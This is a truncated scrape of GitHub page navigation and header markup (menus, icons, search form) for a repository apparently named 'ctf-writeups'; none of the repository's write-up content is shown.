2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162845937" data-scoped-search-url="/KEERRO/ctf-writeups/search" data-owner-scoped-search-url="/users/KEERRO/search" data-unscoped-search-url="/search" data-turbo="false" action="/KEERRO/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="VQzoWA5ZKaiWW2X4pWtawXAX58dNh9ugLkTN79C8qubC+JIKkq5fKoJ3uNu+lYAeJ8gkmV+dozV04W4QbPytaw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> KEERRO </span> <span>/</span> ctf-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>27</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg 